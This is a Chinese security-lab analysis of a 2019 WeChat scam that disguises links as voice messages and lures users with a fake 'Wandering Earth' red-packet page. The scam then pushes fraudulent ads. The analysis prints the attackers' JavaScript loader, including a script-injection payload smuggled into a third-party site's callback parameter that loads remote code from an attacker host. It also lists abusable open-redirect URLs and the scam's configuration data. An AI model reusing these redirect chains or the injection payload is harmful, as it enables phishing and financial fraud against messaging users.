警惕:黑客利用“流浪地球票房红包”在微信中传播恶意诈骗广告
作者:启明星辰ADLab
公众号:ADLab
一、事件简介
近期,启明星辰ADLab收到客户反馈:在使用微信的过程中疑似出现“中毒”现象,用户在群聊中收到“微信语音”,点开后却提示领取“流浪地球电影票房红包”,打开红包并答题后需要分享至微信群方可“提现”。由于页面交互逼真,不明真相的用户纷纷中招,造成诸多群聊中出现了“群邀请” 、“语音”和“广告”等欺骗性分享链接,并成病毒式快速传播。链接指向“老中医”、“投资指导”和“低俗小说”等恶意广告,诱导用户添加微信或关注公众号,之后一步步通过骗取定金或彩票刷单等手段诈骗用户财产,稍有不慎就会落入圈套。
启明星辰ADLab迅速对此进行了分析,发现这是一起针对普通用户的微信灰产恶意广告诈骗事件。灰产团伙将网页URL伪装成“微信语音”,以链接的方式发送给用户和微信群,借助10086、微信和爱奇艺等网站的跳转链接将“语音”重定向至灰产URL,同时伪造了红包界面,隐藏了微信的菜单和按钮接口。页面后台多次跳转防封,并将用户的返回操作定向到新广告页面,前台则利用近期的热点电影“流浪地球”进行炒作,最终以红包提现的噱头引诱用户分享恶意广告,传播牟利,甚至以红包作为幌子发布钓鱼链接。事件整体流程如图所示:
二、技术分析
“语音”链接经过重定向和多次跳转后才加载至红包界面,我们猜测该团伙是考虑到腾讯的查封规则,为有效增加存活时间,首先通过知名域名的重定向来规避检查,其使用过的可重定向URL如下:
- http://rd.go.10086.cn/remind/push/remind.do?specailfunc=wapMpp&x-original-URL=
- https://as.weixin.qq.com/cgi-bin/amazing?url=
- https://36kr.com/jump?url=(失效)
- https://bird.sns.iqiyi.com/jump?jump_url=
重定向、多次跳转和JS脚本执行的主要流程如下(实际跳转可能随时变化):
下面针对其中的主要过程进行分析阐释。
2.1 链接重定向
黑客疑似通过微信JS-SDK自定义文案与图标伪造“语音”链接,当用户点击“语音”链接时会被重定向,数据包请求内容如下:
GET /remind/push/remind.do?specailfunc=wapMpp&x-original-URL=http%3A%2F%2Fqnimg.9igcw.com%2Ff22b419d44ff4fc89125e8cd29c186b2%3F7nbgtxb%3D7nbgtxb%26_c%3D5052 HTTP/1.1
Host: rd.go.10086.cn
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36 MicroMessenger/6.5.2.501 NetType/WIFI WindowsWechat QBCore/3.43.901.400 QQBrowser/9.0.2524.400
Accept-Encoding:gzip, deflate
Accept-Language:zh-CN,zh;q=0.8,en-us;q=0.6,en;q=0.5;q=0.4
Connection:keep-alive
数据包回应内容如下:
HTTP/1.1 302 FoundServer: nginx
Date: Thu, 28 Feb 2019 06:26:40 GMT
Content-Type: text/html
Content-Length: 0
Cache-Control: no-cache
Pragma: no-cache
Expires: Wed, 31 Dec 1969 23:59:59 GMT
Set-Cookie: JSESSIONID=1BB9D91C996A06399CCB819628E9A865; Path=/remind
Location: http://qnimg.9igcw.com/f22b419d44ff4fc89125e8cd29c186b2?7nbgtxb=7nbgtxb&_c=5052
Proxy-Connection: keep-alive
2.2 链接跳转
重定向目标地址链接不固定,我们发现的两个链接如下:
- http://qnimg.9igcw.com/f22b419d44ff4fc89125e8cd29c186b2?7nbgtxb=7nbgtxb&_c=5052
- http://image.dushemovie.com/5782e5f29cbf43f99839368b75c5b4d2?5wwot3p=5wwot3p&_c=5052
以链接1为例,请求目标为image/svg+xml类型,请求数据内容如下:
GET /f22b419d44ff4fc89125e8cd29c186b2?7nbgtxb=7nbgtxb&_c=5052 HTTP/1.1Host qnimg.9igcw.com
Accept text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
User-Agent Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36 MicroMessenger/6.5.2.501 NetType/WIFI WindowsWechat QBCore/3.43.901.400 QQBrowser/9.0.2524.400
Accept-Encoding gzip, deflate
Accept-Language zh-CN,zh;q=0.8,en-us;q=0.6,en;q=0.5;q=0.4
Connection keep-alive
数据包回应Headers内容如下:
HTTP/1.1 200 OKServer: Tengine
Content-Type: image/svg+xml
Content-Length: 285
Date: Thu, 28 Feb 2019 04:48:00 GMT
Accept-Ranges: bytes
Access-Control-Allow-Origin: *
Access-Control-Expose-Headers: X-Log, X-Reqid
Access-Control-Max-Age: 2592000
Cache-Control: public, max-age=31536000
Content-Disposition: inline; filename="f22b419d44ff4fc89125e8cd29c186b2"; filename*=utf-8' 'f22b419d44ff4fc89125e8cd29c186b2
Content-Transfer-Encoding: binary
Etag: "FtABqMD18XgR60Q7wmUamU9uUx5l"
Last-Modified: Sun, 11 Nov 2018 03:29:41 GMT
X-Log: redis.g;DC;IO:1
X-M-Log: QNM:xs460;QNM3
X-M-Reqid: -XEAAFpARvTCbYcV
X-Qiniu-Zone: 0
X-Qnm-Cache: Hit
X-Reqid: IFUAAF3TM4jTYIcV
X-Svr: IO
Ali-Swift-Global-Savetime: 1551329280
Via: cache14.l2et15[26,200-0,M], cache16.l2et15[27,0], cache19.cn1088[0,200-0,H], cache19.cn1088[1,0]
Age: 5918
X-Cache: HIT TCP_HIT dirn:11:386590902
X-Swift-SaveTime: Thu, 28 Feb 2019 04:48:00 GMT
X-Swift-CacheTime: 2592000
Timing-Allow-Origin: *
EagleId: 73e7282715513351989788044e
Proxy-Connection: keep-alive
其中数据包回应内容包含新链接至 https://api.meipaifan.cn/j。
2.3 JavaScript脚本
请求URL:https://api.meipaifan.cn/j为JavaScript脚本,内容如下:
var ua = navigator.userAgent;if (ua.indexOf("MicroMessenger") > 0) { //判断是否为微信浏览器
var noreferrer = true;
try { document.getElementsByTagName("body")[0].outerHTML = "<center>Loading...</center>"; } catch (e) {};
if (top != window || !document.body){
top.location.href = 'https://tj.esf.fang.com//NewSecond/SuggestionForFrontPage.aspx?city=&jsoncallback=%3F%26lt;ScRiPt%20src=%22//api.51bjbj.com/j?xload=1%22%26gt;%26lt;/sCripT%26gt;&type=ld&8xvu=8xvu&pwd=6IGDUR&_c=5052';
}
else{
var a=document.createElement('a');a.href='https://tj.esf.fang.com//NewSecond/SuggestionForFrontPage.aspx?city=&jsoncallback=%3F%26lt;ScRiPt%20src=%22//api.51bjbj.com/j?xload=1%22%26gt;%26lt;/sCripT%26gt;&type=ld&8xvu=8xvu&pwd=6IGDUR&_c=5052';if(noreferrer) a.rel='noreferrer';a.click();
}
};
JS脚本会通过navigator.userAgent.indexOf来判断浏览器类型,若不是微信浏览器返回404。
若为微信浏览器,则继续判断页面为前端或后端,再分别依据两种策略进行后台访问(访问链接可变如:https://tj.esf.fang.com/)暗刷流量,在应答的数据中包含Script脚本指向另外一个新链接(JS脚本),如下图所示:
新链接(api.51bjbj.com/j?xload=1)通过脚本解码出网页内容:
解码后的网页内容如下:
<!DOCTYPE html><html lang="en">
<head>
<meta charset="utf-8">
<title>...</title>
<!--庆祝拼多多营收1000亿美元送红包-->
<meta name="viewport"
content="width=device-width,initial-scale=1,maximum-scale=1,user-scalable=0,viewport-fit=cover"/>
<meta name="format-detection" content="telephone=no">
<meta name="applicable-device" content="mobile">
<link rel="stylesheet" href="https://butuyu.oss-cn-hangzhou.aliyuncs.com/hb-new/1919/css/d.css">
<script>
window.focusLocation = {};
</script>
</head>
<body>
<script src="//res.wx.qq.com/open/js/jweixin-1.0.0.js"></script>
<script src="https://butuyu.oss-cn-hangzhou.aliyuncs.com/lib/js/jquery.min.js"></script>
<script src="https://butuyu.oss-cn-hangzhou.aliyuncs.com/hb-new/1919/lib/core.js"></script>
<script src="https://api.51bjbj.com./config?var=window.data&sign=0"></script>
<script>
// location.href = 'http://m3.tuniucdn.com/fb2/t1/G5/M00/FD/03/Cii-s1s1vLaIR3iWAAAAlO4kMEYAAG3DQP__nQAAAGM31.html?fsrc=rabbit&type=wz3';
M.loadJS('https://butuyu.oss-cn-hangzhou.aliyuncs.com/hb-new/lldq/d.js?v=' + (+new Date()));
</script>
</body>
</html>
该网页引入了微信JS-SDK、Jquery库、core.js和api.51bjbj.com内的JS脚本,其中core.js包含自定义的各种功能回调函数如:loadJS、hideShare和setBack等。
https://api.51bjbj.com./config?var=window.data&sign=0
则包含自定义的数据结构,指向的JS脚本如下:
window.data = { "ad": {
"app_url": "https://ssl.htdata.qq.com/cgi-bin/httpconn?htcmd=0x6ff0080&u=https%3A%2F%2Fe.dangdang.com%2Fmedia%2Fh5%2Ffenxiang%2Fchannel%2Fchannelartical.html%3FdigestId%3D2328502%26fsrc%3Ddz%26type%3Dwz4",
"desc": "\"\u5a07\u5a07\"\u9080\u8bf7\u4f60\u52a0\u5165\u7fa4\u804a\uff0c90\u540e\u5355\u8eab\u59b9\u5b50\u65e5\u5165\u8fc7\u4e07\u7fa4\uff0c\u8fdb\u7fa4\u67e5\u770b\u8be6\u60c5",
"timeline_url": "http://rd.go.10086.cn/remind/push/remind.do?specailfunc=wapMpp&x-original-URL=https%3A%2F%2Fe.dangdang.com%2Fmedia%2Fh5%2Ffenxiang%2Fchannel%2Fchannelartical.html%3FdigestId%3D2328502%26fsrc%3Ddz%26type%3Dwz4",
"img": "https://butuyu.oss-cn-hangzhou.aliyuncs.com/images/qun.png",
"title": "\u9080\u8bf7\u4f60\u52a0\u5165\u7fa4\u804a"
},
"attached": {
"case": "7675-hb",
"signmode": "jsb",
"back_api": "https://zjygx.com/backup/args/bg_back.php",
"ad_share": {
"pyq": [0, 0],
"qun": [0, 0, 0, 0, 0, 0]
},
"timeline_ad": true,
"player": {
"delaytime": 538,
"vid": "c0763pr60i5"
},
"needWhite": false,
"group_ad": true,
"iosGoAdUrl": "",
"eqc": {
"s": "qngroup001/u4421337/1/0/c0d23906977fa89d18691744a2a21336.js",
"ib": 6,
"i3": 1,
"ic": 4,
"d": "qngroup001/u4420461/1/0/2405846441888db771cd590562fafb16.js"
}
},
"cnzz": "",
"hm": "0c1ecc9c91cfd52db097fbe47eb75864",
"to_timeline": {
"redirect": "",
"ad_weight": "100",
"ad_id": "9986",
"ad": false,
"ok_msg": "",
"title": "{fuck}{fuck}",
"img": "http://butuyu.oss-cn-hangzhou.aliyuncs.com/Img_hb/voice.jpg",
"landing": "",
"link": "http://rd.go.10086.cn/remind/push/remind.do?specailfunc=wapMpp&x-original-URL=https%3A%2F%2Fyppphoto.yupaopao.cn%2Fh73qh1s6oy.svg%3FHN8EuIO0%3DHN8EuIO0%26_c%3D5052",
"desc": ""
},
"to_group": {
"redirect": "",
"link": "https://ssl.htdata.qq.com/cgi-bin/httpconn?htcmd=0x6ff0080&u=https%3A%2F%2Fservice.ccmapp.cn%2Fvideaapi%2Fzcm%2Fupload%2Focimg%2F1546916994398.svg%3F9qZlETf4%3D9qZlETf4%26_c%3D5052",
"img": "http://butuyu.oss-cn-hangzhou.aliyuncs.com/Img_hb/voice.jpg",
"title": "{fuck}{fuck}",
"desc": "{fuck}\u2709",
"back_url": ""
}
}
数据中“img”字段指向了恶意传播的URL伪装图片:
在使用loadJs()加载文件后,https://butuyu.oss-cn-hangzhou.aliyuncs.com/hb-new/lldq/d.js?v=1551335205185
内含的JS脚本会执行红包界面的逻辑内容,简要示例如下:
“<p style="font-size: 24px;">庆祝流浪地球电影票房破40亿</p>”
即是前端恶意推广的红包标题。
该脚本还包含了goShare函数进行分享操作如图:
其中,https://api.51bjbj.com./getshare
请求将链接至http://weixin.site.eqxiu.com/...(不固定),并加载JS脚本。如图:
https://s.51bjbj.com./jssdk/shareurl?_c=
则指向分享页面的网页来源如:obs-cn-shenzhen.yun.pingan.com
。
此外我们注意到,作者在前端隐藏了微信的官方菜单接口。如图:
若用户将“红包”分享至群聊,则会生成多种形式的伪装界面,目前已知的形式分别为“群邀请”、“语音”和“广告链接”,如图所示:
当用户点击分享后的链接时,依然会被重定向至灰产URL并弹出广告。需要注意的是网页在后台 “锁定”了返回操作,用户在尝试返回时页面会轮循刷新广告。如图所示:
链接通过重定向和跳转最终定位到广告:
部分恶意广告原始链接如下:
- https://cash-ll.oss-cn-hangzhou.aliyuncs.com/nk/43/static/display.html?t=1551798979518
- https://cash-ll.oss-cn-hangzhou.aliyuncs.com/nk/28/static/display.html?t=1551799084786
- https://cash-ll.oss-cn-hangzhou.aliyuncs.com/nk/35/static/display.html?t=1551802234121
- https://cash-ll.oss-cn-hangzhou.aliyuncs.com/nk/26/static/display.html?t=1551802236980
- https://cash-ll.oss-cn-hangzhou.aliyuncs.com/nk/41/static/display.html?t=1551802242070
- https://cash-ll.oss-cn-hangzhou.aliyuncs.com/nk/44/static/display.html?t=1552010485531
三、溯源关联
我们尝试添加了几位“老中医”和“投资导师”,画风是这样的:
基本可以判断“红包”推送的广告为骗取定金或彩票刷单等诈骗行为,对方往往非常耐心,环环相诱,用户稍不留意就有可能落入圈套,造成财产损失。
此外,我们通过分析https://api.51bjbj.com./config?var=window.data&sign=0
返回的JS脚本,在其接口数据中发现了CNZZ数据统计请求的链接。如图:
https://bird.sns.iqiyi.com/jump?jump_url=pic.app.dqdaily.com/20180510_67388_1551592980824.jpg?1zhF8Obn=1zhF8Obn&_c=7675链接指向了相似模板的旧版“恶意红包”。
可见该团伙年初便开始了恶意活动,不过其旧版广告链接已被查封。在进一步抓包分析后,我们发现重定向后的链接请求为:
Location:
请求包含了微信开发者appid: wxd588ca9e0a8b634e。依此我们关联到了某视频厂商的红包链接。
灰产团伙有可能参照过该厂商的红包模式,并借助其URL实现了微信客户端重定向跳转(https://bird.sns.iqiyi.com/jump?jump_url=
)。值得注意的是,此类厂商提供的会员红包奖励往往需要授权登录账号,这给灰产团伙创造了很好的钓鱼机会,通过登录钓鱼等手段窃取用户资料和账号从而造成更大的破坏。此类团伙游走在法律的边缘,今天可以推送恶意广告,明天就能随时变身网络钓鱼。
四、总结分析
综上分析,当前微信的灰产利用正变得越发具有欺骗性和传播性。一些团伙通过技术手段制作以假乱真的“语音”、“群邀请”等链接来引诱用户点击,利用重定向和多级跳转规避检查,再结合逼真的“红包”交互攻击用户,利用用户急切获取红包的心理进行诱导关注、诈骗钱财和恶意传播。普通用户往往难以分辨真假,极易沦为灰产的传播工具,不仅自身可能遭受财产损失,还会帮助恶意流量大面积扩散。希望此类事件可以引起厂商和广大用户的高度警惕,防微杜渐,持续警惕灰产的各类恶意活动,共同维护好网络秩序。
启明星辰积极防御实验室(ADLab)
ADLab成立于1999年,是中国安全行业最早成立的攻防技术研究实验室之一,微软MAPP计划核心成员,“黑雀攻击”概念首推者。截止目前,ADLab已通过CVE累计发布安全漏洞近1000个,通过 CNVD/CNNVD累计发布安全漏洞近500个,持续保持国际网络安全领域一流水准。实验室研究方向涵盖操作系统与应用系统安全研究、移动智能终端安全研究、物联网智能设备安全研究、Web安全研究、工控系统安全研究、云安全研究。研究成果应用于产品核心技术研究、国家重点科技项目攻关、专业安全服务等。
以上是 警惕:黑客利用“流浪地球票房红包”在微信中传播恶意诈骗广告 的全部内容, 来源链接: utcz.com/p/199252.html